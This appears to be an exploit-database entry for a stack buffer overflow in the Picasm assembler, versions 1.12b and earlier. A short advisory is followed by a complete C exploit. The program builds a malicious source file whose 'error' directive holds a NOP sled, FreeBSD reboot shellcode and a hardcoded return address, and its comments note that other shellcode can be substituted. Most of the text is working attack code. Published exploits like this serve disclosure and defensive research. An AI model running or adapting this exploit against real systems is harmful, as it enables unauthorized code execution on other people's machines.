// source: https://www.securityfocus.com/bid/13698/info

Picasm is affected by a remote buffer overflow vulnerability.

An attacker can exploit this issue by supplying an excessive 'error' directive.

If successfully exploited, this issue can allow a remote attacker to gain access to the affected computer in the context of the user running the application.

Picasm 1.12b and prior versions are vulnerable to this issue.

/* picasm_exploit.c - by Shaun Colley <shaun rsc cx>
 *
  * This code generates a picasm source file with a malformed 'error' directive,
  * which exploits a stack overflow vulnerability in picasm's error printing
 * routines.  The file generated by this exploit will only cause execution
  * of FreeBSD 'reboot()' shellcode.  Exploit has been tested on
FreeBSD 5.3-RELEASE.
  * Return address into shellcode may need changing on other operating system
  * versions.  Other shellcodes can potentially be used instead of the
one below.
 *
  * A fix has been provided by picasm's maintainer.  The fixed packages can be
 * found at <http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz>.
 */

#include <stdio.h>
#include <stdlib.h>

  /* FreeBSD reboot shellcode by zillion
  * zillion safemode org */
  char shellcode[] =
  "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";

int main(int argc, char *argv[]) {

  if(argc < 2) {
    printf("syntax: %s <outfile>\n", argv[0]);
    return 1;
  }

    char buf[144];

  /* FreeBSD 5.3-RELEASE */
char ret[] = "\x78\xea\xbf\xbf";
/* Works when X server is not running */
/*char ret[] = "\x08\xeb\xbf\xbf";*/

  char *ptr;
  FILE *fp;
  ptr = buf;

 /* Craft payload */
  memset(ptr, 0, sizeof(buf));
  memset(ptr, 0x90, 118); /* 118 NOP bytes */
  memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */
  memcpy(ptr+133, ret, 4); /* 4 byte ret address */

  /* Open outfile */
  if((fp = fopen(argv[1], "w")) == NULL) {
   printf("unable to open %s\n", argv[1]);
   exit(1);
 }

  /* Write it all to outfile */
  fwrite("error ", 1, 6, fp);
  fprintf(fp, "%s", buf);

  fclose(fp);
 return 0;
}